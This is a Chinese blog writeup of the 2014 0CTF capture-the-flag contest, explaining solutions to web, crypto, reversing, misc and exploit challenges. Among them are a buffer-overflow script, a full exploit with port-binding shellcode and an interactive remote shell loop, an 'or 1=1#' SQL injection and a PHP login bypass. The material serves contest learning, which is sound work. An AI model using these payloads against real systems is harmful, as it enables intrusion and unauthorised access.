0ops CTF/0CTF writeup

2014-03-06 19:28:38 10 4917


0×00 0CTF
『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时。』

看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉还不错,好多大牛过来刷题了,没有挤进前六名去……不过当做BCTF的一次练手吧,平时都在实验室打酱油,做个比赛还是可以学到不少东西的。写个Blog记录一下过程,题目只做简单描述,具体可以看官方页面http://ctf.0ops.net,要登录才能看到题目,不知道现在还能否注册。

0×01 [Web]Spy
[题]简单的Web题目,总共四关,每一关都要输入数字,并保证输入的数字比服务器给的大。
1. text框最多输入3位数字,服务器随机返回4位数字,这个审查元素改一下maxlength属性就好了;
2. text框最多输入3位数字,服务器随机返回数字,这个改maxlength属性不然过,但是发现服务器偶尔会返回三位数字,这样的话一直提交999,总会过的;
3. 看谁出的数的倒数比较小谁就算赢!输入-1直接过了;
4. 每人给出一个数,然后比谁的数的EVIL值大。啥是EVIL值?就是该数字每位ASCII码的乘积呗,比如’123′这个数,三位数字的ASCII码分别是49, 50, 51乘起来是124950,这个就是123这个数的EVIL值。这个题最多输入6位,服务器的EVIL值很大,不过输入0xFFFF就过了;

0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密:0ops

0×03 [Misc]IPv4
[题]截止到2014.2.23,亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个?
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为:
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态
我用Python解析的,读入每行数据split一下就好了,得到330393088。
0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序,溢出拿KEY。
[解]IDA分析程序,B函数可以溢出:
char *__cdecl B()
{
  char *result; // eax@1
  char s; // [sp+1Ch] [bp-40Ch]@1
  int v2; // [sp+20h] [bp-408h]@1
  __int16 v3; // [sp+24h] [bp-404h]@1
  char v4; // [sp+26h] [bp-402h]@1
  int v5; // [sp+41Ch] [bp-Ch]@1

  v5 = 0;
  memset(&s, 0, 1016u);
  puts("Welcome to 0ops CTF.");
  fflush(stdout);
  gets(&s);
  result = &s;
  *(_DWORD *)&s = *(_DWORD *)"HelloKitty";
  v2 = *(_DWORD *)&aHellokitty[4];              // o
  v3 = *(_WORD *)&aHellokitty[8];               // t
  v4 = aHellokitty[10];                         // \0
  if ( v5 )                                     // 覆盖到v5即可
                                                // 1016+4+2+1=1023 多覆盖一个byte即可
  {
    fd = (int)fopen("./flag.txt", "r");
    __isoc99_fscanf(fd, "%s\n", &s);
    puts(&s);
    result = (char *)fflush(stdout);
  }
  return result;
}
开始忘了加\n,郁闷了好久……
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.6', 32323))
    print sock.recv(1024)
    sock.send('a'*1025+'\n')        # 一定要有\n
    print "send done"
    print sock.recv(2048)
    sock.close()
0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统,可惜他不知道用户名和密码,该怎么办呢?
[解]简单的SQL注入,用户名输入下面的代码即可:
'or 1=1#
0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的(Salted),但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾,想要从中找到一些线索。这一次,他捡到了某个员工的备忘小便签:
WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH}
[解]四个字母组成的英语单词,这个直接枚举并比较MD5值就行了,很快就找到了单词join。

0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织,在群邮件中,他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码,陷入了深深的沉思。 你能帮他破解这个囧呆马吗?
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码:
import hashlib

def johncode(msg, key):
        token = hashlib.md5(key).digest()
        res = ""
        password = "0ops Capture The Flag"
        for c in msg:
                n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef
                for i in xrange(16) :
                        n ^= ord(password[i]) ^ ord(token[i])
                res += chr(n)
                token = hashlib.md5(chr(n)).digest()
        return res.encode('base64').encode('rot13')
[解]这个可以直接逆推的,因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key,所以第一位没法解出来,但是题目说了FLAG的格式,所以第一位是0,解密的代码如下:
import hashlib

def getConstXor():
    return 0xde ^ 0xad ^ 0xbe ^ 0xef

def getPwdXor():
    password = "0ops Capture The Flag"
    res = 0
    for i in xrange(16):
        res ^= ord(password[i])
    return res

def getMd5Xor(val):
    token = hashlib.md5(val).digest()
    res = 0
    for i in xrange(16):
        res ^= ord(token[i])
    return res

if __name__ == "__main__":
    ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="
    ciphertext = ctftext.decode("rot13").decode("base64")
    ctlen = len(ciphertext)
    constXor = getConstXor()
    pwdXor = getPwdXor()
    i = ctlen - 1
    msg = ""
    while i >= 1:
        tokenXor = getMd5Xor(ciphertext[i-1])
        msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)
        i = i - 1
    # msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo
    msg = msg[::-1]
    # msg = ops{4ee04b4082a816b4e6b78be5c64b0664}
    # 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}
0×08 [Reverse]Waltz
[题]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代码了,就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯,就在比赛开始前一天,小丁丁突然发现备份似乎被人修改了,似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了,这可怎么办?
注意:此题的FLAG是取 所有虚假账户的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库,提示换行符不一致!所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login
[题]溢出服务器上的一个程序,位于202.120.7.110:55632
[解]getpath函数中,gets可以溢出,最后调用了strdup,这个函数会分配一段空间保存输入的内容,把返回地址覆盖为call eax的地址,那么返回的时候就会执行shellcode了。
char *__cdecl getpath()
{
  char s; // [sp+8h] [bp-25Ch]@1 [604]
  void *v2; // [sp+260h] [bp-4h]@1
  unsigned int v3; // [sp+268h] [bp+4h]@1

  printf("Input Name Please: ");
  fflush(stdout);
  gets(&s);                             // 获取输入
  v2 = (void *)v3;                      // v3 == 608
  if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3
  {
    printf("HEHE (%p)\n", v2);
    _exit(1);
  }
  printf("Got Name %s\n", &s);
  return strdup(&s);                    // 分配空间复制字符串, 返回值指向复制的字符串
}
call eax可以随便找一个:
.text:08048A4B                 call    eax ; __CTOR_LIST__
不过我找了好多Shellcode都不管用……最后找了个开端口的,执行之后nc连接,cat flag.txt即可。
def testServer():
    # http://www.shell-storm.org/shellcode/files/shellcode-370.php
    # port : 5074
    shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+
                "\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +
                "\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +
                "FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +
                "IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +
                "IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #sock.connect(('192.168.218.129', 55632))
    sock.connect(('202.120.7.110', 55632))
    print sock.recv(1024)
    #sock.send('A'*608+'\xB0'*4+'\n')

    sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')
    print "send done"
    print sock.recv(2048)
    print sock.recv(2048)
    while True:
        acmd = raw_input("CMD> ")
        sock.send(acmd)
        sock.send(acmd)
        print sock.recv(2048)
        time.sleep(0.1)
0x0B [Reverse]HackGate
[题]给定一个setup.exe,求KEY。
[解]setup.exe,是个安装包,要求输入密码才能安装。开始直接调试这个程序,发现根本断不下来,发现创建了子进程,于是调试子进程,发现用了MD5、SHA以及CRC32算法,后来差一下发现是个Inno Setup的安装包,然后我还找到了能够绕过密码直接提取文件的程序(当然找了好几个才发现一个叫做InnoExtractor的程序),于是直接把里面的EXE抠出来了,是g++编译的,我电脑装了还跑不起来,可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下,key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO,我用Google搜的时候,提示我是EL_PSY_CONGROO。
El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话,能够自我暗示,使自己镇静下来。
不过有时候做这种题,没加密的话很容易偷懒的……(我这样会被鄙视吗?)
0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了,这题和数据没关系,和PHP的一些检查方式有关系……审查元素,修改password字段名字(在name字段的值后面加上数组符[]),输入任意密码提交:
<form class="form-signin" action="login_ok.php" method="post">
    <h2 class="form-signin-heading">Please sign in</h2>
    <input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly="">
    <input type="password" class="input-block-level" name="ps[]" placeholder="Password">
    <label class="checkbox">
      <input type="checkbox" value="remember-me"> Remember me
    </label>
    <button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>
0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名,他就可以得到最高权限啦!幸运的是,小丁丁又一次拿到了它的源码。
[解]考察数论相关的知识了。
同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;
同理对于RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;
现在服务器能够返回给定任意数据a,返回a^d % N的值A,如果能拿到0ops(假设转化为数值之和为c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。
a^d % N = A
b^d % N = B
c^d % N = C
分解c,假设c = a*b,那么有(A*B)≡C mod N,计算一下,c刚好能够分解,那么我们就可以从服务器拿回A和B了,如果知道了N,就可以拿到C了。不过对于这个题,拿到AB就已经够了,因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的,大神提供的思路如下:
2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN,也就是是N的倍数,如果运气好就是N了,不然要多找几次。
下面是解题代码,会求出N。
import time
import socket
import string

def int2str(n):
    charset = string.digits + string.letters
    p = len(charset) + 1
    s = ""
    while n:
        s = s + charset[n%p-1]
        n /= p
    return s[::-1]

def str2int(s):
    """
        map
            '0' =>  1
            '1' =>  2
                ...
            '9' =>  10
            'a' =>  11
                ...
            'z' =>  36
            'A' =>  37
                ...
            'Z' =>  62
    """
    charset = string.digits + string.letters
    p = len(charset) + 1
    r = 0
    for c in s :
        r = r * p + charset.index(c) + 1
    return r

def getFactor():
    ops = str2int('0ops')
    a = b = 0
    for i in range(2, ops):
        if ops % i == 0:
            a, b = i, ops/i
            print "%d * %d = %d" % (a, b, ops)
            break
    sa = int2str(a)
    sb = int2str(b)
    print "%d --> %s" % (a, sa)
    print "%d --> %s" % (b, sb)
    return sa, sb

def getAuthKey(s):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('1\n')    # register
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(s + '\n')
    sock.recv(2048)
    authKey = sock.recv(2048)
    sock.close()

    print "Username: %s" % s
    print authKey
    return authKey.strip()

def getGCD(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        tmp = a % b
        a = b
        b = tmp
    return a

def getN():
    userlist = [2, 4, 8]
    keylist = []
    for user in userlist:
        keylist.append(int(getAuthKey(int2str(user))))
    diff = []
    diff.append(pow(keylist[0], 2) - keylist[1])
    diff.append(pow(keylist[0], 3) - keylist[2])
    return getGCD(diff[0], diff[1])

def getFlag(authKey):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('2\n')    # login   
    sock.recv(2048)
    time.sleep(0.1)
    sock.send('0ops\n') # username
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(str(authKey) + '\n') # authKey
    print sock.recv(2048)
    print sock.recv(2048)
    sock.close()

if __name__ == "__main__":
    sa, sb = getFactor()
    ka = getAuthKey(sa)
    kb = getAuthKey(sb)
    kab = int(ka) * int(kb)
    print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)
    n = getN()
    print "N = \n%d\n" % n
    flagKey = kab % n
    print "authKey[0ops] = \n%d\n" % flagKey
    getFlag(flagKey)
    raw_input("<Enter>")

"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051

Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202

authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
39593591140411537137125967387946130071547972790632118133896625499729357543308816
65448091364193997682005248870200041504023381016446066909023878970529319079800086
13808551432638083920706237377055192075931504657100138782762634126828570096626000
21740987778485284470130972040488510155441233144261202690270073340308044559909236
88022604483095012235643404016986395825071264788489401081410846239399008256383444
27783542166239774991615310457893021925122329284187579913245305211704054543963112
46617591745725112264275325834238989453825259130717300416524844869106838890002150
13539418987344763704144532367013919237191922725980132605207837102132907895624432
66607899392071332859380943060605852067363066333823230424467584589398587263860042
119105342842310261180736904026302

Username: 1
22162592382709279239675078287209487170257682361511277398481832147372823215451206
29012234993254397116315506291018552849006256580425529369872729697550238374739494
48772829679652923225545207924144536536130669962018422146411134841875616397357134
29568880006878286534623642415790091356045364443763159224635646171861388242085726
97265299606708141770914574335615303479761746656913880214780405285865156974703663
68707812547485603274962190456901154898407556530407582248442240935713344954001743
70460314565217400045829838047916742777893191557151837606275064117735853844147609
312638348348883587842186583304381307199776987787088683213

Username: 3
18555505824880771273727540829711672221676629831658469028977988584440554873780436
45137773386560133644983364637659004337061718305660923166817411197766375793405718
05103029732367220924127309328528302634299493223853139595279355089050203206293974
86840898999244645854695909576241621143659347688557261209638462191011865971149242
79464762884238981766433085461726300411125242999959696850859594687622334871918471
71670809991958427666213019092095767990137873589365923128683417543694089792152878
77150847918268764278582616037769773086098337088950812318405615762304350575303071
079091404763125577831379208432103400658648842256675379806

Username: 7
52482204868424933403557570627260487449813958439686870244092838847494332548446073
45602512803692746763888792435320054869228129209697946733034825577367868675415020
40650190376660294128759355299952166682183127812142558455298025750832300811952889
86463990447494116385230643606657822311838848399664307028247794759330657294253921
87875591907107721872039909705488324146809722005199670346002505042495876768793064
69944991228386536399164224058905493762703168633149946839305007134191114427394941
72485062533747457130652067041438480378568459966504351977884309118621219929633189
06584017724632422879044239426508028014318144849268674008

N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
75525661987282310273914255054387679145058167010821716155270450004228110100462580
61209364757602907910617119263438600005472312713489338816033264709490529535130190
96378961760344107740968951046321793825376720940083912117401942507142416424502224
52716016867059810410289101671971086362182186474576259372154998140093546592864747
64210175590855355005120986623171403794224031596995562230659609347027503141992475
47770245690981730429515128740909571870394089884652117078715034645606613009469198
724251507254450039197449345504428016016268512178144465269

authKey[0ops] =
13110205844472582078508561586009616010511440950399464874188864349291652777783298
99881232052318532954986646824467063842227828770517196037207171044544695490940912
12423450401458576493793741404979648318705923086553715197114747437125272098839105
53827198360050895608734309931663997144339422020764921090587199992980596843329551
10835974076198749267323036625564956690953923683306767300917098380913656898698173
63407386614802670044895487509786218738456054495098285103711261589674380370321433
35083314522191405782002192706825562995912444112388730499459139167637817864843651
545728753985843329656352477751861819954384211132836924156

You win!
Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}

"""
0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下,然而却被告知你太嫩了,我们先不玩别的先来盘游戏吧,如果赢了我,再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏,大家应该见过,OJ上面也会常见,虽然我连这个也不会,不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你,你要最后面拿光所有的石子,你就赢了这一个round。
也就是Nimm Game,有k堆石子,两个人轮流从某一堆取任意多的物品,规定每次至少取一个,多者不限。取走最后石子的人获胜。
引入一个概念,平衡状态,又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡,将这个平衡局势留给对方。因此,玩家A能够在初始为非平衡的
游戏中取胜,玩家B能够在初始为平衡的游戏中取胜。

最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0),只要对手总是和我拿走一样多的物品,最后会面对
(0,0...,0)。

奇异局势的判定:
    对于一个普通的局势,如何判断其是不是奇异局势?对于一个局势(s1,s2,...sk),对所有石子个数做位的异或运
算,s1^s2^s3^...^sk,如果结果为0,那么局势(s1,s2,...sk)就是奇异局势(平衡),否则就不是(非平衡)。
    从二进制位的角度上说,奇异局势时,每一个bit位上1的个数都是偶数。

玩家的策略:
    就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后,使得每一个bit位上1的个数
都变为偶数,这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值(如果这个值
比原来的石子数小的话)。

参见:http://blog.csdn.net/ojshilu/article/details/16812173
照着这个思路写了个脚本,但是比较蛋疼的是服务器每次只从一堆石头中取出一个,这样我也只能取出1个,而这样下来就严重拖慢了速度,而服务器最初设置了100个round,我跑了1个多小时才跑完50个round,然后管理员认为100轮太多了,就把服务器端了调整为50轮,于是我又跑了1个小时左右,中午吃完饭回来就返回了key了。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sys

def parseInput(s):
    idx = s.find("I pick")  # 过滤无关数据
    if idx != -1:
        s = s[idx:]
    idx = s.find("There are totally")   # 过滤无关数据
    if idx != -1:
        s = s[idx:]

    lines = s.split('\n')
    res = []
    for l in lines:
        l = l.strip()
        data = l.split(': ')
        if len(data) == 2 and data[0].find("Pile") != -1:
            res.append(int(data[1]))
    return res

def pickStone(s):
    l = len(s)
    maxCount = 0
    idx = 0
    for i in range(0, l):
        tmp = 0
        for j in range(0, l):
            if j == i:
                continue
            tmp = tmp ^ s[j]
        if tmp < s[i]:
            if maxCount < s[i]-tmp:
                maxCount = s[i]-tmp
                idx = i
    return (idx, maxCount)

if __name__ == "__main__":
    #redirectOutput()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.108', 17733))
    print sock.recv(4096)
    while True:
        data = sock.recv(4096)
        print data
        arr = parseInput(data)
        print arr
        idx, count = pickStone(arr)
        sock.send("%d\n" % idx)
        print "%d" % idx
        data = sock.recv(4096)
        print data
        sock.send("%d\n" % count)
        print "%d" % count
        print sock.recv(4096)
0x0F [Misc]Girl
[题]图片隐写术

[解]图片无限放大之后会发现右上角有四个小点,这里面隐藏了信息,当然这里全是一堆红色,看起来相当的晃眼!!这里面的像素点存在色差,我们需要对其进行二值化处理。下图是截取的一个图,我给四个小点画了个圈,只是为了方便各位看官辨别。

大家可以把原图下载下来放大之后,在信息隐藏区域取色就能看到色差(比如QQ截图工具就有取色功能)
正常的背景色RGB是(235,1,2),四个边界点的RGB是(225,0,0),鼠标在区域内移动的时候,有两个RGB值,分别是(235,1,2), (236,1,2),看到了没,(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码,就把背景色设置为白色(255,255,255),把四个边界点的颜色设置为蓝色(0,0,255),把二维码中的颜色设置为黑色(0,0,0),以为差不多就OK了,谁知道这货不是二维码,是二进制信息。

隐藏信息的区域我画了个圈,从图中可以看出,如果白色代表0,黑色代表1,我们转成二进制得到0×30和0x6F,这就是0和o,也就是Flag的前缀0ops了,完善一下代码就有key了。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image

"""
# It's not QR code :)
def showQRCode(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size
    for x in xrange(0, w):
        for y in xrange(0, h):
            if pix[x, y] == (235,1,2):
                pix[x, y] = (255,255,255)
            elif pix[x, y] == (225,0,0):
                pix[x, y] = (0, 0, 255)
            elif pix[x, y] == (236, 1, 2):
                pix[x, y] = (0, 0, 0)
            else:
                pix[x, y] = (255, 255, 255)
    bmp.save(fpath)
"""

def getFlagHex(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size

    c = []
    for y in xrange(0, h):
        for x in xrange(0, w):
            if pix[x, y] == (225,0,0):
                c.append((x, y))

    flag = ""
    for y in xrange(c[0][1]+1, c[2][1]):
        x = c[0][0] + 1
        for i in xrange(0, 4):
            ch = 0
            for j in xrange(0, 4):
                tmp = 0
                if pix[x+i*4+j, y] == (236, 1, 2):
                    tmp = 1
                ch = (ch<<1) + tmp
            flag = flag + ("%x" % ch)
    bmp.save(fpath)
    return flag

def getFlag(flagHex):
    flag = ""
    tmp = 0
    for i in xrange(0, len(flagHex)):
        val = string.hexdigits.index(flagHex[i])
        if i&1:
            flag = flag + chr(tmp*16 + val)
            tmp = 0
        else:
            tmp = val
    return flag

if __name__ == "__main__":
    flagHex = getFlagHex("girl.bmp")
    flag = getFlag(flagHex)
    raw_input(flag)
0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序,提供奇怪的web服务,能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密?注意:没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞,exploit-exercises上面的format最后一题和这个类似,不过只怪我当时候没有认真做题,这个题就没交了……囧rz,这个题有空再补上吧。

作者:代码疯子(Wins0n)
转载地址:http://www.programlife.net/0ops-ctf-writeup.html
比赛地址:http://ctf.0ops.net
帐号 1 密码 1  
不要该密码 号不是我的

关于作者

wsm1238篇文章278篇回复

评论10次

要评论?请先  登录  或  注册